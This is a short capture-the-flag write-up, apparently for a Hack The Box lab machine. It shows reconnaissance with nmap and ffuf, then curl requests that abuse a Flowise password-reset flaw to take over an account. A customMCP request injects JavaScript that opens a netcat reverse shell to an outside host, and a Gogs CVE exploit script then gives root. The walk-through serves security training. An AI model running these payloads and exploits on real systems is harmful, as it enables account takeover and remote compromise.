nmap -p- --open -vvv -n -Pn -sS --min-rate 5000 10.129.23.206 -oG AllPorts.txt
nmap -p22,80 -sCV --min-rate 5000 10.129.23.206
I found just 2 ports, ssh and http.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -e .php,.txt -fw 1866 -u http://silentium.htb/FUZZ
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://silentium.htb/ -fw 6 -H "Host: FUZZ.silentium.htb"
I found one subdomain.
Here I found a flowise instance
I found some big vulnerabilities, but i need an acount to exploit it.
So, I found another vulnerability who allows me to reset passwords.
Searching the main page I found some user names.

WIth this, I used a exploit who uses both of this vulns to gain rce.
curl -X POST "http://staging.silentium.htb/api/v1/account/forgot-password" \
-H "Content-Type: application/json" \
--data '{"user":{"email":"ben@silentium.htb"}}'

curl -X POST "http://staging.silentium.htb/api/v1/account/reset-password" \
-H "Content-Type: application/json" \
--data '{
"user": {
"email": "ben@silentium.htb",
"tempToken": "NgJhHaddM0y4nhdpdibQKIjlitLpRlW7GuBX63afIZk82tdCVJWzKkUY1tjHIZJc",
"password": "1234"
}
}'
Now, with this, I can exploit RCE.
curl -c cookies.txt -i -X POST "http://staging.silentium.htb/api/v1/auth/login" \
-H "Content-Type: application/json" \
--data '{"email":"ben@silentium.htb","password":"1234"}'

curl -b cookies.txt -X POST "http://staging.silentium.htb/api/v1/node-load-method/customMCP" \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
--data '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"nc 10.10.16.29 9001 -e sh\");return 1;})()})"
}
}'
With this, im able to obtain a shell.
All this is working in a docker.

I found ext4 mounted.
From the host filesystem I can only see
/root/.flowise
/etc/hosts
/etc/resolv.conf
/etc/hostname
Here I found a database and a key.
Using deepce i found a good password.
With this, I can log ass ben in the host machine.

Checking my capabilities I found who I have cap_sys_admin.
In the services, I found something interesting.
Using ssh, I forwarded the port.
ssh -L 8025:127.0.0.1:8025 ben@silentium.htb
Theres nothing here.
I also found something in the port 3001.
Looks like a Gogs instance.
So, I forwarded it.
ssh -L 3001:127.0.0.1:3001 ben@silentium.htb
After a sort search, I found a RCE CVE for gogs
So, I create a account and execute the exploit.
python3 ./cve-2025-8110.py --url http://127.0.0.1:3001 -lh 10.10.16.29 -lp 6666 -U afirot -P afirot
Tras ejecutar el exploit, ya tendremos una consola root.
